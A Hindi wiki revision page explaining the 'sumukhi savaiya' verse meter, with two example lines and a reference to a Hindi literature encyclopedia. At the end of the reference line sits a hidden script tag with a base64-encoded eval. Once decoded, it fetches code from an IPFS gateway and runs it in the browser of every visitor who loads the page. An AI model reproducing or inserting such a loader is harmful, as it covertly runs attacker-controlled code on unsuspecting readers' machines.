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*"अनन्य हिमांशु, सदा तरुणीजन की परिरम्भण-शीतलता।"<ref> चन्द्राकार</ref> | *"अनन्य हिमांशु, सदा तरुणीजन की परिरम्भण-शीतलता।"<ref> चन्द्राकार</ref> | ||
05:51, 1 दिसम्बर 2011 का अवतरण
सुमुखि सवैया सात जगण और लघु-गुरु से छन्द बनता है; 11, 12 वर्णों पर यति होती है। मदिरा सवैया आदि में लघु वर्ण जोड़ने से यह शब्द बनता है।
- "सखीन सों देत उराहनो नित्य, सो चित्त सँकोच सने लहिये।" [1]
- "अनन्य हिमांशु, सदा तरुणीजन की परिरम्भण-शीतलता।"[2]
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टीका टिप्पणी और संदर्भ
धीरेंद्र, वर्मा “भाग- 1 पर आधारित”, हिंदी साहित्य कोश (हिंदी), 740।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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